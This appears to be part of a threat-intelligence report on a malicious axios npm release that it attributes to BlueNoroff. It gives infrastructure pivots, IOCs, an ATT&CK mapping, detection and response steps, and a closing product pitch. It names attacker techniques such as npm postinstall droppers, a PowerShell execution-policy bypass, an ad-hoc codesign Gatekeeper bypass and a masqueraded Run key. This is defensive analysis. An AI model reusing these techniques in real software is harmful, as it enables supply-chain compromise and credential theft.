The server at 23.254.167[.]216 that shares the ETag with our Axios C2 was actively hosting a "JustJoin" landing page, a fake macOS application designed for monitoring Zoom meetings. Public reporting from SentinelOne has linked these JustJoin-themed domains to BlueNoroff's broader campaign of targeting developers and cryptocurrency workers through spoofed virtual meeting platforms.

The fact that the Axios attack also places heavy emphasis on a sophisticated macOS Mach-O binary (the most developed of the three platform variants) fits this pattern of macOS-focused operations.

Hunt.io's investigation of the JustJoin infrastructure revealed deeper connections. Two additional servers. 108.174.194[.]44 and 108.174.194[.]196. share the same SSH key fingerprint (e1f6b7f621a391a9d26e9a196974f3e2cc1ce8b4d8f73a14b2e8cb0f2a40289f) with the 23.254.167[.]216 server, indicating coordinated management across all three. The second linked server had email service ports open (143, 993, 995), suggesting it was configured for phishing operations.

Figure 30: 23.254.167[.]216 server sharing the same ETag with our Axios C2 server

NukeSped Malware Classification

Beyond the infrastructure links, the macOS Mach-O binary itself has been classified as NukeSped, a malware family that is exclusively associated with the Lazarus Group. NukeSped isn't a commodity tool or an open-source framework that multiple threat actors might pick up; its use is a strong standalone indicator of DPRK origin.

Additionally, the binary's internal naming convention references "macWebT", which directly matches malware documented by SentinelOne in their 2023 reporting on TA444/BlueNoroff macOS campaigns. This naming continuity across campaigns suggests code reuse or shared development within the same team.

TTP Alignment

The tactics, techniques, and procedures in this attack align closely with documented TA444/BlueNoroff operations across several dimensions. The group has a well-established pattern of targeting software supply chains through npm and PyPI packages, going back to at least 2023. They consistently build cross-platform toolkits with particular attention to macOS (where they've deployed GhostCall and GhostHire campaigns).

Their infrastructure repeatedly shows up on Hostwinds VPS instances. They target developer machines because developers often have access to cryptocurrency wallets, cloud credentials, and signing keys that support BlueNoroff's primary mission: generating revenue for the DPRK regime through financial theft.

The use of Proton Mail addresses (ifstap@proton.me and nrwise@proton.me) for the compromised npm accounts also fits the pattern. DPRK-linked threat actors consistently use privacy-preserving email services for infrastructure registration, and Proton Mail's anonymous signup process makes it a repeated choice across multiple Lazarus campaigns.

Confidence Assessment

We assessed each evidence layer independently and assigned confidence levels based on how uniquely it ties to TA444/BlueNoroff versus other possible explanations:

Evidence LayerSpecific IndicatorConfidence
Shared ETagAxios C2 shares a unique ETag with 23.254.167[.]216 (documented DPRK JustJoin server)HIGH
ASN + SubnetSame Hostwinds AS54290, same /18 subnet as 3+ confirmed Lazarus IPsHIGH
JustJoin CampaignETag-linked server hosts known TA444/BlueNoroff macOS lure pageHIGH
NukeSped ClassificationmacOS binary classified as Lazarus-exclusive malware familyHIGH
SSH Key Cluster3 servers share SSH fingerprint e1f6b7f6..., indicating coordinated managementHIGH
TTP Alignmentnpm supply chain targeting, macOS focus, multi-platform RATs, developer targetingMEDIUM-HIGH
Hosting PatternHostwinds VPS is BlueNoroff's most frequently observed providerMEDIUM
Email OpSecProton Mail anonymous registration matches DPRK operational patternsLOW (alone)

Taken individually, some of these indicators (like the Proton Mail usage or Hostwinds hosting) wouldn't be sufficient for attribution. But the cumulative weight of all eight evidence layers, especially the shared ETag, NukeSped classification, and SSH key cluster, points strongly to TA444/BlueNoroff as the operator behind this campaign.

The following indicators were identified through infrastructure pivoting from the Axios C2 server and are associated with the broader TA444/BlueNoroff operation:

TypeIndicatorContext
IP23.254.167[.]216JustJoin landing page host shares a unique ETag with Axios C2
IP108.174.194[.]44Shared SSH key with JustJoin server, active at time of writing
IP108.174.194[.]196Shared SSH key, email ports 143/993/995 open (phishing infrastructure)
Domaina0info.v6[.]armyJustJoin landing page, registered via NameCheap
SSH Keye1f6b7f621a391a9d26e9a196974f3e2cc1ce8b4d8f73a14b2e8cb0f2a40289fShared across 3 coordinated DPRK servers on Hostwinds

Indicators of Compromise

Network Infrastructure

TypeIndicatorDescription
Domainsfrclak[.]comC2 server
IP142.11.206[.]73C2 IP (Hostwinds AS54290)
Port8000C2 port (HTTP, no TLS)
URI/6202033Campaign endpoint
User-Agentmozilla/4.0 (compatible; msie 8.0; ...)Beacon identifier

File Hashes

SHA-256Description
e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09setup.js dropper
506690fcbd10fbe6f2b85b49a1fffa9d984c376c25ef6b73f764f670e932cab4macOS Mach-O RAT
617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101Windows PowerShell RAT
f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cdWindows Stage-1 launcher
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cfLinux Python RAT

File System Indicators

PlatformIndicatorDescription
macOS/Library/Caches/com.apple.act.mondMach-O RAT binary
macOS /private/tmp/.<random>Dropped binaries (peinject)
Windows%PROGRAMDATA%\wt.exeRenamed PowerShell
Windows%PROGRAMDATA%\system.batHidden persistence launcher
WindowsHKCU...\Run\MicrosoftUpdatePersistence Run key
Linux/tmp/ld.pyPython RAT script

MITRE ATT&CK Mapping

TechniqueNameUsage
T1195.002Supply Chain CompromiseCompromised npm maintainer account
T1059.001PowerShellWindows RAT via -ep bypass
T1059.002AppleScriptmacOS RAT via osascript
T1059.006PythonLinux RAT via python3 -c
T1547.001Registry Run KeysHKCU Run key "MicrosoftUpdate"
T1553.002Code SigningAd-hoc codesign Gatekeeper bypass
T1055Process Injection.NET Reflection into cmd.exe
T1082System Info DiscoveryHostname, OS, CPU, timezone
T1057Process DiscoveryWMI / /proc / ps -eo
T1071.001HTTP ProtocolPOST beacons on port 8000
T1036.005MasqueradingMicrosoftUpdate, com.apple.act.mond
T1027Obfuscated FilesXOR + Base64 encryption
T1070.004File DeletionDropper self-deletes + temp cleanup

Mitigation Strategies

Detection

  • Monitor for outbound HTTP POST traffic to port 8000 with User-Agent "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"

  • Alert on creation of /Library/Caches/com.apple.act.mond or %PROGRAMDATA%\wt.exe

  • Monitor Registry Run key modifications with value name "MicrosoftUpdate"

  • Detect codesign --force --deep --sign - execution from non-standard parents on macOS

  • Flag processes spawned by npm postinstall hooks, making outbound network connections

Immediate Response

  • If axios@1.14.1 or axios@0.30.4 was installed, treat the system as compromised

  • Check for IOC file artifacts on all platforms

  • Inspect network logs for connections to 142.11.206.73 or sfrclak.com on port 8000

  • Rotate all credentials, API keys, SSH keys, and tokens accessible from the affected system

  • On Windows, remove the MicrosoftUpdate Run key and delete system.bat + wt.exe

Prevention

  • Pin package versions in package-lock.json and use npm ci in CI/CD pipelines

  • Integrate dependency scanning tools (Socket.dev, Snyk, npm audit) into build workflows

  • Use --ignore-scripts flag where postinstall hooks are not required

  • Implement network egress filtering to block outbound HTTP on non-standard ports

  • Monitor npm publications for missing OIDC Trusted Publisher signatures

Summary

This attack wasn't opportunistic. It was a deliberate, multi-stage operation against one of the most widely installed packages in the JavaScript ecosystem, executed in under 24 hours and designed to leave no trace. The dropper, the staged dependency, the platform-specific RATs, the self-destructing cleanup --- every step was planned.

Supply chain attacks don't announce themselves. They look like normal package updates, and they clean up after themselves. If axios@1.14.1 or axios@0.30.4 was ever installed on a system, treat it as compromised and rotate everything.

The infrastructure connections that tied this attack to TA444/BlueNoroff are the kind you can find yourself. Book a free demo today and start exploring our platform.